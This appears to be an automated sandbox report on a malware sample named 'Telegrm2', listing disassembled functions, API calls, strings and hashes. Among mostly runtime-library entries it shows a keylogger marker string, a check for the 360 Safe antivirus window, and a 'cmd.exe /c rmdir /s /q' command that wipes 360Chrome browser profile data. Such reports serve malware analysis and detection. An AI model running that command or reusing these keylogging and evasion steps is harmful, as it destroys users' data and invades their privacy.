Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: DecodePointer$ExitProcess_amsg_exit_lock
String ID:
API String ID: 3411037476-0
Opcode ID: e46ab2d1c8d88a435948b992a55a69254d2758e3da53458b5835bfdc2019b341
Instruction ID: d82f6bde1b16e22ea0f78e88623236d92128a9f3184a83def33287afba9ecd84
Opcode Fuzzy Hash: e46ab2d1c8d88a435948b992a55a69254d2758e3da53458b5835bfdc2019b341
Instruction Fuzzy Hash: 5131D031616B4491E642DF52FC80329B3A8FB8BB94F488029EF8E47B64EF7AC555C704

Function 036342A4 Relevance: 10.6, APIs: 7, Instructions: 93threadCOMMON

Download Yara Rule

APIs

Part of subcall function 036383F4: HeapCreate.KERNELBASE ref: 0363840A
Part of subcall function 036383F4: GetVersion.KERNEL32 ref: 0363841C
Part of subcall function 036383F4: HeapSetInformation.KERNEL32 ref: 0363843A

_RTC_Initialize.LIBCMT ref: 036342D6
GetCommandLineA.KERNEL32 ref: 036342DB

Part of subcall function 0363976C: GetEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,036342ED), ref: 03639785
Part of subcall function 0363976C: WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,036342ED), ref: 036397DC
Part of subcall function 0363976C: WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,036342ED), ref: 03639817
Part of subcall function 0363976C: free.LIBCMT ref: 03639824
Part of subcall function 0363976C: FreeEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,036342ED), ref: 0363982F

Part of subcall function 0363902C: GetStartupInfoW.KERNEL32 ref: 0363904D

__setargv.LIBCMT ref: 03634304
_cinit.LIBCMT ref: 03634318

Part of subcall function 036347F4: FlsFree.KERNEL32(?,?,?,?,03634382), ref: 03634803
Part of subcall function 036347F4: RtlDeleteCriticalSection.NTDLL ref: 03639A43
Part of subcall function 036347F4: free.LIBCMT ref: 03639A4C
Part of subcall function 036347F4: RtlDeleteCriticalSection.NTDLL ref: 03639A73

Part of subcall function 03639300: free.LIBCMT ref: 03639351

Part of subcall function 0363537C: Sleep.KERNEL32(?,?,00000000,03633110), ref: 036353C1

FlsSetValue.KERNEL32 ref: 036343B2
GetCurrentThreadId.KERNEL32 ref: 036343C6
free.LIBCMT ref: 036343D5

Part of subcall function 03633D28: HeapFree.KERNEL32(?,?,00000000,03634940,?,?,000002C8,03633209,?,?,?,?,0363A510,?,?,00000000), ref: 03633D3E
Part of subcall function 03633D28: _errno.LIBCMT ref: 03633D48
Part of subcall function 03633D28: GetLastError.KERNEL32(?,?,00000000,03634940,?,?,000002C8,03633209,?,?,?,?,0363A510,?,?,00000000), ref: 03633D50

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: free$FreeHeap$ByteCharCriticalDeleteEnvironmentMultiSectionStringsWide$CommandCreateCurrentErrorInfoInformationInitializeLastLineSleepStartupThreadValueVersion__setargv_cinit_errno
String ID:
API String ID: 125979975-0
Opcode ID: 17864a303ba804c7c771f92fedef808a756658ee2dff1f80815c6b49880253fe
Instruction ID: 24e2f5395d5568d78b468f11b48b8ece2aa6b42eab1661fd2ee491b982601012
Opcode Fuzzy Hash: 17864a303ba804c7c771f92fedef808a756658ee2dff1f80815c6b49880253fe
Instruction Fuzzy Hash: 5031C32860A701C6FB17FBB39540329E1DDAF53354F988269C9128B390EF79C581826F

Function 036320E0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 47stringCOMMON

Download Yara Rule

APIs

GetComputerNameA.KERNEL32 ref: 0363212E
lstrcpy.KERNEL32 ref: 03632144
wsprintfA.USER32 ref: 03632173
lstrlen.KERNEL32 ref: 0363217C

Strings

SOFTWARE\%sW\, xrefs: 03632164
UnKnowW, xrefs: 03632138

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: ComputerNamelstrcpylstrlenwsprintf
String ID: SOFTWARE\%sW\$UnKnowW
API String ID: 2137660125-763317463
Opcode ID: 642eb358f19a7e10fd042be8f2a3199548e465a8511418f4244e3dd5ad69a7b2
Instruction ID: ed31c2ea6323bd3372a252fa551c99020e37e6149a2bf0d71d1d4942f674b0c0
Opcode Fuzzy Hash: 642eb358f19a7e10fd042be8f2a3199548e465a8511418f4244e3dd5ad69a7b2
Instruction Fuzzy Hash: 8B115431718A8191EB21DF21F85439AA776FBC9B84F844026DB4D47A58EF3FC249CB40

Function 0362DCA0 Relevance: 10.5, APIs: 7, Instructions: 44filesynchronizationstringCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32 ref: 0362DCBC
CreateFileA.KERNEL32 ref: 0362DCEE
SetFilePointer.KERNEL32 ref: 0362DD13
lstrlen.KERNEL32 ref: 0362DD1C
WriteFile.KERNEL32 ref: 0362DD39
CloseHandle.KERNEL32 ref: 0362DD42
ReleaseMutex.KERNEL32 ref: 0362DD54

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: File$CloseCreateHandleMutexObjectPointerReleaseSingleWaitWritelstrlen
String ID:
API String ID: 4202892810-0
Opcode ID: d38896a3890081b88ef905279f1f8f3bcd07668c588b65e7c678813c6d7bd9a0
Instruction ID: c0843a53d88f371f6e8b5a19742bd227566ad033063cdf0bf0665fcea472f15e
Opcode Fuzzy Hash: d38896a3890081b88ef905279f1f8f3bcd07668c588b65e7c678813c6d7bd9a0
Instruction Fuzzy Hash: DE117071704A5196EB11DF51F918725BB64FB89BA8F14C311EA6A03BE4DF7EC1098B00

Function 0362FB30 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 34sleeplibraryCOMMON

Download Yara Rule

APIs

Part of subcall function 03622AC0: CreateToolhelp32Snapshot.KERNEL32 ref: 03622AD6

LoadLibraryW.KERNEL32 ref: 0362FB48

Part of subcall function 0362F2D0: CreateFileW.KERNEL32 ref: 0362F303

FindWindowW.USER32 ref: 0362FB69
IsDlgButtonChecked.USER32 ref: 0362FB84
Sleep.KERNEL32 ref: 0362FB8F

Part of subcall function 0362F360: GetCurrentProcessId.KERNEL32 ref: 0362F3A0
Part of subcall function 0362F360: GetCurrentThreadId.KERNEL32 ref: 0362F3A8
Part of subcall function 0362F360: VirtualProtect.KERNEL32 ref: 0362F3CF
Part of subcall function 0362F360: VirtualProtect.KERNEL32 ref: 0362F3F6
Part of subcall function 0362F360: CreateProcessWithLogonW.ADVAPI32 ref: 0362F450
Part of subcall function 0362F360: VirtualProtect.KERNEL32 ref: 0362F475
Part of subcall function 0362F360: VirtualProtect.KERNEL32 ref: 0362F49C
Part of subcall function 0362F360: CloseHandle.KERNEL32 ref: 0362F4AC

Strings

user32.dll, xrefs: 0362FB41
Q360SafeMonClass, xrefs: 0362FB60

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: ProtectVirtual$Create$CurrentProcess$ButtonCheckedCloseFileFindHandleLibraryLoadLogonSleepSnapshotThreadToolhelp32WindowWith
String ID: Q360SafeMonClass$user32.dll
API String ID: 200090976-537184153
Opcode ID: cb1a5e4973980b21232769b39f94c98d0cd0a52bea3a7b7095b3b24418c44752
Instruction ID: b76e6f8fb632404233db7568dd67679f1d9aed3f287c8e7e8dcb15cec1080ec3
Opcode Fuzzy Hash: cb1a5e4973980b21232769b39f94c98d0cd0a52bea3a7b7095b3b24418c44752
Instruction Fuzzy Hash: 43F02424B02F1262EB16E772D8607251678AF98F41F0A8428C90A8E390FE2EC144CB14

Function 0362E1F0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 34sleepsynchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32 ref: 0362E20B
GetLastError.KERNEL32 ref: 0362E214
GetModuleHandleA.KERNEL32 ref: 0362E223

Part of subcall function 0362DA90: SHGetFolderPathA.SHELL32 ref: 0362DACD
Part of subcall function 0362DA90: lstrcat.KERNEL32 ref: 0362DADD
Part of subcall function 0362DA90: CreateMutexA.KERNEL32 ref: 0362DAEE
Part of subcall function 0362DA90: WaitForSingleObject.KERNEL32 ref: 0362DB06
Part of subcall function 0362DA90: CreateFileA.KERNEL32 ref: 0362DB34
Part of subcall function 0362DA90: GetFileSize.KERNEL32 ref: 0362DB42
Part of subcall function 0362DA90: CloseHandle.KERNEL32 ref: 0362DB4D
Part of subcall function 0362DA90: DeleteFileA.KERNEL32 ref: 0362DB5E
Part of subcall function 0362DA90: ReleaseMutex.KERNEL32 ref: 0362DB70

Part of subcall function 0362DEB0: GetKeyState.USER32 ref: 0362DFA5
Part of subcall function 0362DEB0: lstrlen.KERNEL32 ref: 0362DFFE
Part of subcall function 0362DEB0: wsprintfA.USER32 ref: 0362E06C
Part of subcall function 0362DEB0: lstrlen.KERNEL32 ref: 0362E105

Sleep.KERNEL32 ref: 0362E250
CloseHandle.KERNEL32 ref: 0362E261

Strings

K^e^y^L^o^g^g^e^r, xrefs: 0362E200

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: CreateFileHandleMutex$Closelstrlen$DeleteErrorFolderLastModuleObjectPathReleaseSingleSizeSleepStateWaitlstrcatwsprintf
String ID: K^e^y^L^o^g^g^e^r
API String ID: 809812578-2826508260
Opcode ID: 89460a35c748eb327358448a72d58bcfd2f9277bad92bf41dea310a58b81c931
Instruction ID: e231bfe97acdb5b6c417d9f09d2093b892b10d56bb8eb4fb07fea8a8e24abe4d
Opcode Fuzzy Hash: 89460a35c748eb327358448a72d58bcfd2f9277bad92bf41dea310a58b81c931
Instruction Fuzzy Hash: FF01D131A04B41D2EB56DB21F44436D7765F785B84F568025D64B47754DF3BC189CB04

Function 0362EC62 Relevance: 10.5, APIs: 1, Strings: 5, Instructions: 25processCOMMON

Download Yara Rule

APIs

Part of subcall function 0362F1D0: CreateToolhelp32Snapshot.KERNEL32 ref: 0362F1F7

WinExec.KERNEL32 ref: 0362ECC3

Part of subcall function 0362F130: SHGetKnownFolderPath.SHELL32 ref: 0362F166
Part of subcall function 0362F130: wsprintfW.USER32 ref: 0362F184

Strings

360se6.exe, xrefs: 0362EC69
360chrome.exe, xrefs: 0362ECAE
cmd.exe /c rmdir /s /q "%userprofile%\AppData\Local\360Chrome\Chrome\User Data\Default", xrefs: 0362ECBA
\AppData\Roaming\360se6\User Data\Default, xrefs: 0362EC79, 0362EC9F
360se.exe, xrefs: 0362EC8F

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: CreateExecFolderKnownPathSnapshotToolhelp32wsprintf
String ID: 360chrome.exe$360se.exe$360se6.exe$\AppData\Roaming\360se6\User Data\Default$cmd.exe /c rmdir /s /q "%userprofile%\AppData\Local\360Chrome\Chrome\User Data\Default"
API String ID: 3785949191-1706831714
Opcode ID: d1eaf7f8e489474969b91f961f9eca55b1cc3b354283557bd717e9cd878dd9fd
Instruction ID: 547bcdb83498d21a96100aa3c0a17e308fc2538781c761230382c9d7b93bf6e2
Opcode Fuzzy Hash: d1eaf7f8e489474969b91f961f9eca55b1cc3b354283557bd717e9cd878dd9fd
Instruction Fuzzy Hash: 3FF0F438B01F1170EE11EF21EC543951B78A788B84FC9D422890D4A364EE2DC35AC704

Function 03350AA8 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 23COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 03350AC7

Part of subcall function 033496DC: _getptd.LIBCMT ref: 033496E0

_getptd.LIBCMT ref: 03350AD9
_getptd.LIBCMT ref: 03350AE7

Strings

RCC, xrefs: 03350AAF
csm, xrefs: 03350ABF
MOC, xrefs: 03350AB7

Memory Dump Source

Source File: 00000000.00000002.3890439474.0000000003330000.00000040.00001000.00020000.00000000.sdmp, Offset: 03330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3330000_Telegrm2.jbxd

Similarity

API ID: _getptd
String ID: MOC$RCC$csm
API String ID: 3186804695-2671469338
Opcode ID: 10d97835973d9dff22855d7531b95dc321e5d89865d4bff4cac848954f1654b4
Instruction ID: 34504f8ef5b833095dd074857b5a38d86c0a647c0cea441e85d9debe519d1505
Opcode Fuzzy Hash: 10d97835973d9dff22855d7531b95dc321e5d89865d4bff4cac848954f1654b4
Instruction Fuzzy Hash: 55E01A38810218CEC719FB658889BA432E0FF1831AF8A59F598558F221F7BD64D8CB53

Function 036410F0 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 20COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 0364110F

Part of subcall function 03634958: _amsg_exit.LIBCMT ref: 0363496E

Part of subcall function 03639D24: _getptd.LIBCMT ref: 03639D28

_getptd.LIBCMT ref: 03641121
_getptd.LIBCMT ref: 0364112F

Strings

csm, xrefs: 03641107
MOC, xrefs: 036410FF
RCC, xrefs: 036410F7

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: _getptd$_amsg_exit
String ID: MOC$RCC$csm
API String ID: 2610988583-2671469338
Opcode ID: 10d97835973d9dff22855d7531b95dc321e5d89865d4bff4cac848954f1654b4
Instruction ID: 1c8b32e793a43fc0def428b513e347cf33e97c50a86db78182fb45f3abb5a991
Opcode Fuzzy Hash: 10d97835973d9dff22855d7531b95dc321e5d89865d4bff4cac848954f1654b4
Instruction Fuzzy Hash: 01E01A3AA04249C6D716EBA5C1443AC7AA0F79BB0AF9AD0E586944B340CBBC44D1CB52

Function 0334D470 Relevance: 9.3, APIs: 6, Instructions: 293COMMONLIBRARYCODE

Download Yara Rule

APIs

__doserrno.LIBCMT ref: 0334D4C0
_errno.LIBCMT ref: 0334D4C7
_invalid_parameter_noinfo.LIBCMT ref: 0334D4D2
__doserrno.LIBCMT ref: 0334D61D
free.LIBCMT ref: 0334D674
_errno.LIBCMT ref: 0334D6E4

Memory Dump Source

Source File: 00000000.00000002.3890439474.0000000003330000.00000040.00001000.00020000.00000000.sdmp, Offset: 03330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3330000_Telegrm2.jbxd

Similarity

API ID: __doserrno_errno$_invalid_parameter_noinfofree
String ID:
API String ID: 3760323483-0
Opcode ID: f6f2cbfcb04b39f03fd32e05ec31852a2d6f70f061b4e20e682d57eae25433b6
Instruction ID: f7e7c0f11c08a84fdab280c4c1c0e1fdeb8368e2017eed18447476ba050c65e5
Opcode Fuzzy Hash: f6f2cbfcb04b39f03fd32e05ec31852a2d6f70f061b4e20e682d57eae25433b6
Instruction Fuzzy Hash: B4813730618B488FDB19EF68D8C96B8B7E4FB56315F44416DD48BCB252EE34F4468742

Function 033458A8 Relevance: 9.2, APIs: 6, Instructions: 164COMMONLIBRARYCODE

Download Yara Rule

APIs

_getptd.LIBCMT ref: 033458C7

Part of subcall function 033454E4: _getptd.LIBCMT ref: 033454EE

Part of subcall function 03344CB4: malloc.LIBCMT ref: 03344CDF

free.LIBCMT ref: 03345952

Part of subcall function 033436E0: _errno.LIBCMT ref: 03343700

_lock.LIBCMT ref: 03345982
free.LIBCMT ref: 03345A25
free.LIBCMT ref: 03345A51
_errno.LIBCMT ref: 03345A56

Memory Dump Source

Source File: 00000000.00000002.3890439474.0000000003330000.00000040.00001000.00020000.00000000.sdmp, Offset: 03330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3330000_Telegrm2.jbxd

Similarity

API ID: free$_errno_getptd$_lockmalloc
String ID:
API String ID: 1369581901-0
Opcode ID: dfd48de12b3e966387c16bd8cfcff08fc85f586fa0c636f5f2138c5d3ae57c13
Instruction ID: 907d3c567488a02893578d2cb494e8f9476f958a579b3e5a220de0efc2a95897
Opcode Fuzzy Hash: dfd48de12b3e966387c16bd8cfcff08fc85f586fa0c636f5f2138c5d3ae57c13
Instruction Fuzzy Hash: 7C51D534E18B454FEB91EF6898C176977E5FB8A314F18419DC88ECB252DB34F8528782

Function 03635EF0 Relevance: 9.1, APIs: 6, Instructions: 118COMMONLIBRARYCODE

Download Yara Rule

APIs

_getptd.LIBCMT ref: 03635F0F

Part of subcall function 03634958: _amsg_exit.LIBCMT ref: 0363496E

Part of subcall function 03635B2C: _getptd.LIBCMT ref: 03635B36
Part of subcall function 03635B2C: _amsg_exit.LIBCMT ref: 03635BD3

Part of subcall function 03635BE8: GetOEMCP.KERNEL32(?,?,?,?,?,?,?,03635F2A,?,?,?,?,?,036360E7), ref: 03635C12

Part of subcall function 036352FC: malloc.LIBCMT ref: 03635327
Part of subcall function 036352FC: Sleep.KERNEL32(?,?,00000000,03639B11,?,?,00000000,03639BBB,?,?,?,?,?,?,00000000,0363492C), ref: 0363533A

free.LIBCMT ref: 03635F9A

Part of subcall function 03633D28: HeapFree.KERNEL32(?,?,00000000,03634940,?,?,000002C8,03633209,?,?,?,?,0363A510,?,?,00000000), ref: 03633D3E
Part of subcall function 03633D28: _errno.LIBCMT ref: 03633D48
Part of subcall function 03633D28: GetLastError.KERNEL32(?,?,00000000,03634940,?,?,000002C8,03633209,?,?,?,?,0363A510,?,?,00000000), ref: 03633D50

_lock.LIBCMT ref: 03635FCA
free.LIBCMT ref: 0363606D
free.LIBCMT ref: 03636099
_errno.LIBCMT ref: 0363609E

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: free$_amsg_exit_errno_getptd$ErrorFreeHeapLastSleep_lockmalloc
String ID:
API String ID: 3894533514-0
Opcode ID: dd48d6c2fa6bb987c115e3e97f77182808f1f310c40def29eb836f8bef260a9e
Instruction ID: 0282b5cca9605c8bb571368370bbfd7374aaf0ee005ec9e81741468b033585cf
Opcode Fuzzy Hash: dd48d6c2fa6bb987c115e3e97f77182808f1f310c40def29eb836f8bef260a9e
Instruction Fuzzy Hash: D141273A204B8096D716DF25E6803AEB7A9F783B84F18816ACA5B4B364CF7DC042C715

Function 0334856C Relevance: 9.1, APIs: 6, Instructions: 116COMMON

Download Yara Rule

APIs

_lock.LIBCMT ref: 03348593
_errno.LIBCMT ref: 033485A7
_invalid_parameter_noinfo.LIBCMT ref: 033485B3
calloc.LIBCMT ref: 033485F5
_errno.LIBCMT ref: 03348602
_errno.LIBCMT ref: 0334860D

Memory Dump Source

Source File: 00000000.00000002.3890439474.0000000003330000.00000040.00001000.00020000.00000000.sdmp, Offset: 03330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3330000_Telegrm2.jbxd

Similarity

API ID: _errno$_invalid_parameter_noinfo_lockcalloc
String ID:
API String ID: 2577527384-0
Opcode ID: 2f70ec6ef3d5c3994c8657d7c15eef66e98feaa01b428a6d9299e4e104dbd0a3
Instruction ID: cc815bc0ea464a7144094d95b3d3a22c561affc034384d4b099229bec907be72
Opcode Fuzzy Hash: 2f70ec6ef3d5c3994c8657d7c15eef66e98feaa01b428a6d9299e4e104dbd0a3
Instruction Fuzzy Hash: 4631A234A14B0E8FD794EF6D988132AB7D5FB59200B4505AD998DDF351DF35EC408782

Function 03349468 Relevance: 9.1, APIs: 6, Instructions: 82COMMONLIBRARYCODE

Download Yara Rule

APIs

_FF_MSGBANNER.LIBCMT ref: 0334948F

Part of subcall function 03349E5C: _set_error_mode.LIBCMT ref: 03349E65
Part of subcall function 03349E5C: _set_error_mode.LIBCMT ref: 03349E74

Part of subcall function 03349BFC: _set_error_mode.LIBCMT ref: 03349C41
Part of subcall function 03349BFC: _set_error_mode.LIBCMT ref: 03349C52

Part of subcall function 03344CB4: malloc.LIBCMT ref: 03344CDF

_errno.LIBCMT ref: 033494D1
_lock.LIBCMT ref: 033494E5
free.LIBCMT ref: 03349508
_errno.LIBCMT ref: 0334950D

Memory Dump Source

Source File: 00000000.00000002.3890439474.0000000003330000.00000040.00001000.00020000.00000000.sdmp, Offset: 03330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3330000_Telegrm2.jbxd

Similarity

API ID: _set_error_mode$_errno$_lockfreemalloc
String ID:
API String ID: 360200360-0
Opcode ID: 73ae3fb5c7c4ccbaaf4f8d4c4d45a553f7f84ec8388a2a8c33d3473ba375301a
Instruction ID: a3efae53245c6dc969c345a7e5d881e06b989d9933c3936546ce71a89177885b
Opcode Fuzzy Hash: 73ae3fb5c7c4ccbaaf4f8d4c4d45a553f7f84ec8388a2a8c33d3473ba375301a
Instruction Fuzzy Hash: C421C334A187099FE7A4FFA5E8D476A77E4FB44310F944878E04AD7690DB78E880C741

Function 03638BB4 Relevance: 9.1, APIs: 6, Instructions: 79COMMON

Download Yara Rule

APIs

_lock.LIBCMT ref: 03638BDB

Part of subcall function 03639B98: _amsg_exit.LIBCMT ref: 03639BC2

_errno.LIBCMT ref: 03638BEF
_invalid_parameter_noinfo.LIBCMT ref: 03638BFB

Part of subcall function 03635664: GetCurrentProcess.KERNEL32(?,?,?,?,03635706), ref: 0363567C

calloc.LIBCMT ref: 03638C3D
_errno.LIBCMT ref: 03638C4A
_errno.LIBCMT ref: 03638C55

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: _errno$CurrentProcess_amsg_exit_invalid_parameter_noinfo_lockcalloc
String ID:
API String ID: 1209116363-0
Opcode ID: c4eeafb9fe9e11de2b2332a2bca1262e97b97b9e04bbfc4cd64daea1b973e5b9
Instruction ID: e345c7b7e7bb0ab3e3f0bc4b6190b7879e52c12ffcf4c99d229d9a575a09e2a7
Opcode Fuzzy Hash: c4eeafb9fe9e11de2b2332a2bca1262e97b97b9e04bbfc4cd64daea1b973e5b9
Instruction Fuzzy Hash: 2D21A17A306B0282EB15EF66A55025EA2A5FB87BC4B58842CEF494F704DF3CD819C708

Function 0363976C Relevance: 9.1, APIs: 6, Instructions: 68COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,036342ED), ref: 03639785
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,036342ED), ref: 036397DC
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,036342ED), ref: 03639817
free.LIBCMT ref: 03639824
FreeEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,036342ED), ref: 0363982F
FreeEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,036342ED), ref: 0363983D

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: EnvironmentStrings$ByteCharFreeMultiWide$free
String ID:
API String ID: 517548149-0
Opcode ID: e92270d1c1e25466c38415bf8e68df5b368d6513ed967c410428f0e42ef408fa
Instruction ID: 6dfcb625092f95e4baef92d4807ab3eb115cc8503b5d6013e396ec12b12e35d8
Opcode Fuzzy Hash: e92270d1c1e25466c38415bf8e68df5b368d6513ed967c410428f0e42ef408fa
Instruction Fuzzy Hash: 44217F36A09B8086DB25DF22B54435AB7E9FB8AFC0F4C8428DE8A17B54DF79C151CB04

Function 03348448 Relevance: 9.0, APIs: 6, Instructions: 43COMMON

Download Yara Rule

APIs

__doserrno.LIBCMT ref: 03348455
_errno.LIBCMT ref: 0334845D
_invalid_parameter_noinfo.LIBCMT ref: 03348469
_errno.LIBCMT ref: 03348492

Memory Dump Source

Source File: 00000000.00000002.3890439474.0000000003330000.00000040.00001000.00020000.00000000.sdmp, Offset: 03330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3330000_Telegrm2.jbxd

Similarity

API ID: _errno$__doserrno_invalid_parameter_noinfo
String ID:
API String ID: 4115123133-0
Opcode ID: 6bd33e9cc88758b05f4ffe04088cbd09dc5e0fe9f91c9aa33adb7de791cfd3bc
Instruction ID: 2355a84e96febb4c893b2aca963bfd61c770492383dcaff98e15863970d516c9
Opcode Fuzzy Hash: 6bd33e9cc88758b05f4ffe04088cbd09dc5e0fe9f91c9aa33adb7de791cfd3bc
Instruction Fuzzy Hash: 50F0A434A007004BE724FFB46CD433E36D89F02326F460594F9A2DEBA0D73668C047A1

Function 036348D4 Relevance: 9.0, APIs: 6, Instructions: 37threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,000002C8,03633209,?,?,?,?,0363A510,?,?,00000000,036353AF,?,?,00000000), ref: 036348DE
FlsGetValue.KERNEL32(?,?,000002C8,03633209,?,?,?,?,0363A510,?,?,00000000,036353AF,?,?,00000000), ref: 036348EC
SetLastError.KERNEL32(?,?,000002C8,03633209,?,?,?,?,0363A510,?,?,00000000,036353AF,?,?,00000000), ref: 03634944

Part of subcall function 0363537C: Sleep.KERNEL32(?,?,00000000,03633110), ref: 036353C1

FlsSetValue.KERNEL32(?,?,000002C8,03633209,?,?,?,?,0363A510,?,?,00000000,036353AF,?,?,00000000), ref: 03634918
free.LIBCMT ref: 0363493B

Part of subcall function 0363481C: _lock.LIBCMT ref: 03634870
Part of subcall function 0363481C: _lock.LIBCMT ref: 0363488F

GetCurrentThreadId.KERNEL32 ref: 0363492C

Memory Dump Source

Source File: 00000000.00000002.3890651973.0000000003620000.00000040.00001000.00020000.00000000.sdmp, Offset: 03620000, based on PE: true

Associated: 00000000.00000002.3890651973.0000000003648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3890651973.0000000003901000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3620000_Telegrm2.jbxd

Similarity

API ID: ErrorLastValue_lock$CurrentSleepThreadfree
String ID:
API String ID: 3106088686-0
Opcode ID: 551bd058d2fc0dc99d20227415f025a99cecc39f881a7ef097d0105796cd8f9d
Instruction ID: ba4b604bd6e70ec829aa9a787bd3039440f2e239721bdc70c88d77890dc8d06a
Opcode Fuzzy Hash: 551bd058d2fc0dc99d20227415f025a99cecc39f881a7ef097d0105796cd8f9d
